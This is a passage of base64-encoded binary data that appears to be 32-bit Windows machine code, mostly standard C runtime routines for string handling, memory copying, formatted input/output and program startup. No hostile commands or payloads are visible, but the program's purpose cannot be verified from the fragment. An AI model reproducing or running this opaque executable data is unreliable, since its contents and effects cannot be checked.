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 